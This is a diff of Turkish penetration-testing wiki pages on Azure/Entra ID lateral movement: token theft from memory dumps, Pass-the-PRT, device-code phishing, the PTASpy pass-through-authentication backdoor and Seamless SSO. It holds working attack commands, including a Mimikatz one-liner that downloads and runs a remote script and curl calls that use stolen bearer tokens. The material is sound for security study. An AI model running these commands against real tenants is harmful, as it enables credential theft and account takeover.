**Cihaz Kodu aracılığıyla kullanıcı kimlik doğrulaması**, **Broker istemci kimliği** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) ve **DRS kapsamları/kaynağı** (örneğin, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** veya **`https://enrollment.manage.microsoft.com/`**). - **Kullanıcı, Entra ID'de cihazları kaydedebilir** (**varsayılan: izinli**, ancak kısıtlanabilir veya kota sınırlı olabilir). -- **Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur** veya **uyumlu/hybrid cihazlar gerektiren** politikalar yoktur (bunlar PRT verilmesini durdurmaz, ancak **korunan uygulamalara erişim için** kullanılmasını engeller). +- **Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur** (bunlar PRT verilmesini durdurmaz, ancak **korunan uygulamalara erişim için** kullanılmasını **engeller**). - **Saldırgan kontrolündeki bir ana bilgisayar**, akışı çalıştırmak ve token'ları/cihaz anahtarlarını tutmak için. **Saldırı Akışı**: @@ -234,16 +296,16 @@ curl -s -X POST \ 3. **O refresh token'ı kullanarak** kiracıda **sahte bir cihaz kaydı** yapın (cihaz nesnesi oluşturulur ve kurbana bağlanır). -4. **Refresh token + cihaz kimliği/anahtarları** değiş tokuş ederek **PRT'ye yükseltin** → **PRT**, saldırganın cihazına bağlıdır. +4. **Refresh token + cihaz kimliği/anahtarları** değişimi ile **PRT'ye yükseltin** → **PRT**, saldırganın cihazına bağlıdır. -5. **(Opsiyonel kalıcılık)**: Eğer MFA yeni ise, **uzun vadeli, şifresiz erişim** sağlamak için **Windows Hello for Business anahtarı** kaydedin. +5. **(İsteğe bağlı kalıcılık)**: Eğer MFA yeni ise, **uzun vadeli, şifresiz erişim** sağlamak için **Windows Hello for Business anahtarı** kaydedin. 6. **Kötüye kullanma**: Kullanıcı olarak **Exchange/Graph/SharePoint/Teams/özel uygulamalar** için **erişim token'ları** elde etmek amacıyla **PRT'yi** kullanın (veya **PRT çerezi** oluşturun). ### Kamu Araçları ve Kanıt-of-Kavramlar - [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth akışını, cihaz kaydını ve token yükseltmelerini otomatikleştirir. -- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Cihaz kodu phishing'ini PRT+WHfB anahtarlarına otomatikleştiren tek komutlu script. +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Cihaz kodu phishing'den PRT+WHfB anahtarlarına otomatikleştiren tek komutlu script. ## Referanslar diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md deleted file mode 100644 index 2752ba55d..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ /dev/null @@ -1,34 +0,0 @@ -# Az - Processes Memory Access Token - -{{#include ../../../banners/hacktricks-training.md}} - -## **Temel Bilgiler** - -[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulutla senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim tokenlerini bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT tokenleri için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir. - -Adımlar: - -1. EntraID kullanıcısıyla senkronize olan excel işlemlerinin dökümünü favori aracınızla alın. -2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç token bulun. -3. Sizi en çok ilgilendiren tokenleri bulun ve bunlar üzerinde araçlar çalıştırın: -```bash -# Check the identity of the token -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq - -# Check the email (you need a token authorized in login.microsoftonline.com) -curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq - -# Download a file from Teams -## You need a token that can access graph.microsoft.com -## Then, find the inside the memory and call -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq - -## Then, list one drive -curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq - -## Finally, download a file from that drive: -curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' -``` -**Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md similarity index 77% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md index f42a35e79..18f21c151 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md @@ -4,11 +4,11 @@ ## Temel Bilgiler -[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az, ayrıca kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşük olduğu için BT yardım masası maliyetlerini azaltır. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptıklarında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **aynı şifreleri kullanarak hem yerel hem de bulut tabanlı uygulamalara giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az ve IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptığında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular. PTA'da **kimlikler** **senkronize** edilir ancak **şifreler** PHS'deki gibi **senkronize edilmez**. -Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (bu, yerel DC'de olmak zorunda değildir). +Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (yerel DC'de olması gerekmez). ### Kimlik Doğrulama Akışı @@ -52,13 +52,13 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut ] } ``` -Ajanın yerel sunucuda çalışıp çalışmadığını kontrol edin: +Ajanının yerel sunucuda çalışıp çalışmadığını kontrol edin: ```bash Get-Service -Name "AzureADConnectAuthenticationAgent" ``` ## Pivoting -Eğer **PTA** **ajansı** çalışan **Azure AD Connect sunucusu** üzerinde **admin** erişiminiz varsa, **AADInternals** modülünü kullanarak **tüm girilen şifreleri** **doğrulayan** bir **arka kapı** **ekleyebilirsiniz** (yani tüm şifreler kimlik doğrulama için geçerli olacaktır): +Eğer **PTA** **ajanı** çalışan **Azure AD Connect sunucusu** üzerinde **admin** erişiminiz varsa, **ALL the passwords** girilen **doğrulamak** için bir **backdoor** **eklemek** üzere **AADInternals** modülünü kullanabilirsiniz (böylece tüm şifreler kimlik doğrulama için geçerli olacaktır): ```bash Install-Module AADInternals -RequiredVersion 0.9.3 Import-Module AADInternals @@ -73,14 +73,14 @@ Remove-AADIntPTASpy # Remove the backdoor Bu arka kapı: - Gizli bir klasör oluşturur `C:\PTASpy` -- `PTASpy.dll` dosyasını `C:\PTASpy` klasörüne kopyalar +- `PTASpy.dll` dosyasını `C:\PTASpy`'ye kopyalar - `PTASpy.dll` dosyasını `AzureADConnectAuthenticationAgentService` sürecine enjekte eder > [!NOTE] > AzureADConnectAuthenticationAgent servisi yeniden başlatıldığında, PTASpy “boşaltılır” ve yeniden kurulması gerekir. > [!CAUTION] -> Bulutta **GA ayrıcalıkları** alındıktan sonra, **yeni bir PTA ajanı kaydetmek** mümkün olup, **önceki** adımları **herhangi bir şifre kullanarak kimlik doğrulamak** ve ayrıca, **şifreleri düz metin olarak almak** mümkündür. +> Bulutta **GA ayrıcalıkları** alındıktan sonra, **yeni bir PTA ajanı kaydetmek** mümkün olup, **önceki** adımları **tekrar** ederek **herhangi bir şifre ile kimlik doğrulaması yapmak** ve ayrıca, **şifreleri düz metin olarak almak** mümkündür. ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md deleted file mode 100644 index e63bbe322..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Az AD Connect - Hybrid Identity - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**On-premises Active Directory (AD)** ve **Azure AD** arasındaki entegrasyon, **Azure AD Connect** tarafından sağlanmakta olup, **Single Sign-on (SSO)**'yu destekleyen çeşitli yöntemler sunmaktadır. Her yöntem, faydalı olmasına rağmen, bulut veya yerel ortamları tehlikeye atabilecek potansiyel güvenlik açıkları içermektedir: - -- **Pass-Through Authentication (PTA)**: -- Yerel AD'deki ajanının ele geçirilmesi, Azure bağlantıları için kullanıcı şifrelerinin doğrulanmasına olanak tanır (on-prem to Cloud). -- Yeni bir konumda kimlik doğrulamalarını doğrulamak için yeni bir ajan kaydetme olasılığı (Cloud to on-prem). - -{{#ref}} -pta-pass-through-authentication.md -{{#endref}} - -- **Password Hash Sync (PHS)**: -- AD'den ayrı metin şifrelerin, yüksek ayrıcalıklı, otomatik olarak oluşturulmuş AzureAD kullanıcısının kimlik bilgileri de dahil olmak üzere, ayrıcalıklı kullanıcıların çıkarılması potansiyeli. - -{{#ref}} -phs-password-hash-sync.md -{{#endref}} - -- **Federation**: -- SAML imzalama için kullanılan özel anahtarın çalınması, yerel ve bulut kimliklerinin taklit edilmesine olanak tanır. - -{{#ref}} -federation.md -{{#endref}} - -- **Seamless SSO:** -- Kerberos gümüş biletlerini imzalamak için kullanılan `AZUREADSSOACC` kullanıcısının şifresinin çalınması, herhangi bir bulut kullanıcısının taklit edilmesine olanak tanır. - -{{#ref}} -seamless-sso.md -{{#endref}} - -- **Cloud Kerberos Trust**: -- AzureAD kullanıcı adları ve SID'lerini manipüle ederek ve AzureAD'den TGT'ler talep ederek Global Admin'den yerel Domain Admin'e yükselme olasılığı. - -{{#ref}} -az-cloud-kerberos-trust.md -{{#endref}} - -- **Default Applications**: -- Bir Uygulama Yöneticisi hesabının veya yerel Senkronizasyon Hesabının ele geçirilmesi, dizin ayarlarının, grup üyeliklerinin, kullanıcı hesaplarının, SharePoint sitelerinin ve OneDrive dosyalarının değiştirilmesine olanak tanır. - -{{#ref}} -az-default-applications.md -{{#endref}} - -Her entegrasyon yöntemi için, kullanıcı senkronizasyonu gerçekleştirilir ve yerel AD'de bir `MSOL_` hesabı oluşturulur. Özellikle, hem **PHS** hem de **PTA** yöntemleri, yerel alan adına katılan Azure AD bilgisayarları için otomatik oturum açmayı sağlayan **Seamless SSO**'yu kolaylaştırır. - -**Azure AD Connect**'in kurulumunu doğrulamak için, **AzureADConnectHealthSync** modülünü (varsayılan olarak Azure AD Connect ile birlikte yüklenir) kullanarak aşağıdaki PowerShell komutu kullanılabilir: -```bash -Get-ADSyncConnector -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md deleted file mode 100644 index 921e68caa..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ /dev/null @@ -1,250 +0,0 @@ -# Az - Pass the PRT - -{{#include ../../../banners/hacktricks-training.md}} - -## PRT Nedir - -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} - -### Bir PRT'niz olup olmadığını kontrol edin -``` -Dsregcmd.exe /status -``` -SSO Durumu bölümünde, **`AzureAdPrt`** değerinin **EVET** olarak ayarlandığını görmelisiniz. - -
- -Aynı çıktıda, **cihazın Azure'a katılıp katılmadığını** da görebilirsiniz ( `AzureAdJoined` alanında): - -
- -## PRT Çerezi - -PRT çerezi aslında **`x-ms-RefreshTokenCredential`** olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT **3 parçadan** oluşur: **başlık**, **yük** ve **imza**, `.` ile ayrılır ve tümü url güvenli base64 ile kodlanmıştır. Tipik bir PRT çerezi aşağıdaki başlık ve gövdeyi içerir: -```json -{ -"alg": "HS256", -"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" -} -{ -"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", -"is_primary": "true", -"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" -} -``` -Gerçek **Primary Refresh Token (PRT)**, **`refresh_token`** içinde kapsüllenmiştir ve bu, Azure AD'nin kontrolü altındaki bir anahtar ile şifrelenmiştir, bu da içeriğini bizim için opak ve şifrelenemez hale getirir. **`is_primary`** alanı, bu token içinde birincil yenileme token'ının kapsüllendiğini belirtir. Çerezin, hedeflendiği belirli oturum açma oturumuna bağlı kalmasını sağlamak için, `request_nonce` `logon.microsoftonline.com` sayfasından iletilir. - -### TPM Kullanarak PRT Çerez Akışı - -**LSASS** süreci, **KDF bağlamını** TPM'ye gönderecek ve TPM, **oturum anahtarını** (cihaz AzureAD'ye kaydedildiğinde toplanan ve TPM'de saklanan) ve önceki bağlamı kullanarak bir **anahtar türetecek** ve bu **türetilmiş anahtar**, **PRT çerezini (JWT)** imzalamak için kullanılacaktır. - -**KDF bağlamı**, AzureAD'den bir nonce ve PRT'yi içeren, bir **JWT** ile karıştırılmış bir **bağlamdır** (rastgele baytlar). - -Bu nedenle, PRT TPM içinde bulunduğu için çıkarılamasa da, LSASS'ı kötüye kullanarak **yeni bağlamlardan türetilmiş anahtarlar talep etmek ve üretilen anahtarları Çerezleri imzalamak için kullanmak** mümkündür. - -
- -## PRT Kötüye Kullanım Senaryoları - -**Normal bir kullanıcı** olarak, LSASS'tan SSO verileri talep ederek **PRT kullanımını talep etmek** mümkündür.\ -Bu, **Web Hesap Yöneticisi** (token broker) üzerinden token talep eden **yerel uygulamalar** gibi yapılabilir. WAM, talebi **LSASS**'a iletir ve LSASS, imzalı PRT beyanı kullanarak token talep eder. Ya da **PRT çerezinin** Azure AS oturum açma sayfalarına yapılan istekleri kimlik doğrulamak için **header** olarak kullanıldığı **tarayıcı tabanlı (web) akışları** ile yapılabilir. - -**SYSTEM** olarak, eğer TPM ile korunmuyorsa **PRT'yi çalabilir** veya **LSASS'ta PRT anahtarları ile etkileşimde bulunabilirsiniz**. - -## Pass-the-PRT Saldırı Örnekleri - -### Saldırı - ROADtoken - -Bu yöntem hakkında daha fazla bilgi için [**bu gönderiye göz atın**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT çerezi elde etmek** için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme token'ı elde etmek** için kullanılabilir. - -Geçerli bir PRT çerezi oluşturmak için ilk ihtiyacınız olan bir nonce'dır.\ -Bunu şu şekilde alabilirsiniz: -```bash -$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" -$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" - -$Params = @{ -"URI" = $URL -"Method" = "POST" -} -$Body = @{ -"grant_type" = "srv_challenge" -} -$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body -$Result.Nonce -AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA -``` -Veya [**roadrecon**](https://github.com/dirkjanm/ROADtools) kullanarak: -```bash -roadrecon auth prt-init -``` -Sonra yeni bir PRT almak için [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kullanabilirsiniz (saldırı için kullanıcının bir sürecinden aracı çalıştırın): -```bash -.\ROADtoken.exe -``` -Bir satırlık: -```bash -Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} -``` -Sonra **oluşturulan çerezi** kullanarak **jetonlar** **üretebilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş** yapabilirsiniz: -```bash -# Generate -roadrecon auth --prt-cookie - -# Connect -Connect-AzureAD --AadAccessToken --AccountId -``` -### Saldırı - roadrecon Kullanımı - -### Saldırı - AADInternals ve sızdırılmış PRT Kullanımı - -`Get-AADIntUserPRTToken` **kullanıcının PRT token'ını** Azure AD'ye bağlı veya Hibrit bağlı bilgisayardan alır. PRT token'ını almak için `BrowserCore.exe` kullanır. -```bash -# Get the PRToken -$prtToken = Get-AADIntUserPRTToken - -# Get an access token for AAD Graph API and save to cache -Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -``` -Ya da Mimikatz'tan değerleriniz varsa, bir token oluşturmak için AADInternals'ı da kullanabilirsiniz: -```bash -# Mimikat "PRT" value -$MimikatzPRT="MC5BWU..." - -# Add padding -while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="} - -# Decode -$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) - -# Mimikatz "Clear key" value -$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0" - -# Convert to Byte array and B64 encode -$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne '')) - -# Generate PRTToken with Nonce -$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce -$prtToken -## You can already use this token ac cookie in the browser - -# Get access token from prtToken -$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken - -# Verify access and connect with Az. You can see account id in mimikatz prt output -Connect-AzAccount -AccessToken $AT -TenantID -AccountId -``` -[https://login.microsoftonline.com](https://login.microsoftonline.com) adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. - -> [!CAUTION] -> Geri kalan varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmuyorsa, her şey yolunda olmalıdır. - -### Saldırı - Mimikatz - -#### Adımlar - -1. **PRT (Birincil Yenileme Token'ı) LSASS'tan** (Yerel Güvenlik Otoritesi Alt Sistem Servisi) çıkarılır ve sonraki kullanım için saklanır. -2. **Oturum Anahtarı daha sonra çıkarılır**. Bu anahtar başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelenmesi gerektiğinden, bir DPAPI anahtar kelimesi kullanılarak şifre çözme gerektirir. DPAPI (Veri Koruma API'si) hakkında ayrıntılı bilgi bu kaynaklarda bulunabilir: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ve uygulamasını anlamak için [Pass-the-cookie attack](az-pass-the-cookie.md) referansına bakabilirsiniz. -3. Oturum Anahtarı şifresi çözüldükten sonra, **PRT için türetilmiş anahtar ve bağlam elde edilir**. Bunlar **PRT çerezi oluşturmak için** kritik öneme sahiptir. Özellikle, türetilmiş anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır, [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişebilirsiniz. - -> [!CAUTION] -> PRT'nin TPM içinde ve `lsass` içinde değilse **mimikatz bunu çıkaramaz**.\ -> Ancak, TPM'den bir bağlamdan türetilmiş bir anahtar almak ve bunu **bir çerezi imzalamak için kullanmak** mümkün olacaktır (seçenek 3'e bakın). - -Bu ayrıntıları çıkarmak için gerçekleştirilen sürecin **derinlemesine açıklamasını** burada bulabilirsiniz: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) - -> [!WARNING] -> Bu, diğer kullanıcıların PRT token'larını almak için Ağustos 2021 düzeltmelerinden sonra tam olarak çalışmayacaktır, çünkü yalnızca kullanıcı kendi PRT'sini alabilir (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir. - -**mimikatz** kullanarak PRT'yi çıkarabilirsiniz: -```bash -mimikatz.exe -Privilege::debug -Sekurlsa::cloudap - -# Or in powershell -iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") -Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' -``` -(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) - -
- -**Prt** olarak etiketlenmiş kısmı **kopyalayın** ve kaydedin.\ -Ayrıca aşağıda vurgulanan **`ProofOfPossesionKey`** alanının **`KeyValue`** değerini içeren oturum anahtarını da çıkarın. Bu şifrelenmiştir ve bunu şifrelemek için DPAPI anahtarlarımıza ihtiyacımız olacak. - -
- -> [!NOTE] -> Eğer herhangi bir PRT verisi görmüyorsanız, bu **PRT'niz olmadığı** anlamına gelebilir çünkü cihazınız Azure AD'ye bağlı değil ya da **eski bir Windows 10 sürümü** kullanıyor olabilirsiniz. - -Oturum anahtarını **şifrelemek** için, **DPAPI anahtarını kullanarak şifrelemek** için bilgisayar bağlamında çalışabilmek adına ayrıcalıklarınızı **SYSTEM** seviyesine **yükseltmeniz** gerekir. Bunu yapmak için aşağıdaki komutları kullanabilirsiniz: -``` -token::elevate -dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect -``` -
- -#### Seçenek 1 - Tam Mimikatz - -- Şimdi hem Context değerini kopyalamak istiyorsunuz: - -
- -- Hem de türetilmiş anahtar değerini: - -
- -- Son olarak, bu bilgileri **PRT çerezleri oluşturmak için** kullanabilirsiniz: -```bash -Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] -``` -
- -- [https://login.microsoftonline.com](https://login.microsoftonline.com) adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -- Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. - -> [!DİKKAT] -> Geri kalan varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmazsa, her şey yolunda olmalıdır. - -#### Seçenek 2 - roadrecon kullanarak PRT - -- Öncelikle PRT'yi yenileyin, bu `roadtx.prt` dosyasına kaydedilecektir: -```bash -roadtx prt -a renew --prt --prt-sessionkey -``` -- Artık `roadtx browserprtauth` ile etkileşimli tarayıcı kullanarak **token talep edebiliriz**. `roadtx describe` komutunu kullanırsak, erişim tokeninin bir MFA talebi içerdiğini görürüz çünkü bu durumda kullandığım PRT de bir MFA talebine sahipti. -```bash -roadtx browserprtauth -roadtx describe < .roadtools_auth -``` -
- -#### Seçenek 3 - roadrecon türetilmiş anahtarlar kullanarak - -Mimikatz tarafından dökülen bağlam ve türetilmiş anahtar ile, roadrecon kullanarak yeni bir imzalı çerez oluşturmak mümkündür: -```bash -roadrecon auth --prt-cookie --prt-context --derives-key -``` -## Referanslar - -- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) -- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) -- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md similarity index 91% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md index 8bbe95875..9540ea283 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md @@ -14,7 +14,7 @@ Hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [* Masaüstü SSO, kimlik doğrulama için **Kerberos** kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD'de **`AZUREADSSOACC$`** adında bir **bilgisayar hesabı** oluşturur. `AZUREADSSOACC$` hesabının şifresi, yapılandırma sırasında **düz metin olarak Entra ID'ye** gönderilir. -**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Entra ID, gönderilen şifreyi biletleri şifrelemek için kullanır. +**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Entra ID, gönderilen şifreyi biletleri şifre çözmek için kullanır. **Entra ID**, Kerberos **biletlerini** kabul eden bir **uç nokta** (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir. @@ -42,14 +42,14 @@ $searcher.FindOne() O TGS biletini elde etmek için, saldırganın aşağıdakilerden birine sahip olması gerekir: - **Bir tehlikeye atılmış kullanıcının TGS'si:** Eğer bir kullanıcının `HTTP/autologon.microsoftazuread-sso.com` biletine sahip oturumunu bellekte tehlikeye atarsanız, bulut kaynaklarına erişmek için bunu kullanabilirsiniz. -- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer birine sahip değilseniz ama kullanıcı tehlikeye atıldıysa, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) gibi birçok araçta uygulanan sahte TGT delegasyonu hilesini kullanarak bir tane alabilirsiniz. -- **Bir tehlikeye atılmış kullanıcının hash'i veya şifresi:** SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT'yi ve ardından TGS'yi oluşturacaktır. +- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer birine sahip değilseniz ama kullanıcı tehlikeye atıldıysa, birçok araçta uygulanan sahte TGT delegasyonu hilesini kullanarak bir tane elde edebilirsiniz, örneğin [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Bir tehlikeye atılmış kullanıcının hash'i veya şifresi:** SeamlessPass, TGT'yi ve ardından TGS'yi oluşturmak için bu bilgiyle etki alanı denetleyicisiyle iletişim kuracaktır. - **Bir altın bilet:** Eğer KRBTGT anahtarına sahipseniz, saldırıya uğramış kullanıcı için ihtiyaç duyduğunuz TGT'yi oluşturabilirsiniz. -- **AZUREADSSOACC$ hesabı hash'i veya şifresi:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde gerçekleştirildiği gibi). +- **AZUREADSSOACC$ hesabı hash'i veya şifresi:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulutla kimlik doğrulamak mümkündür (önceki 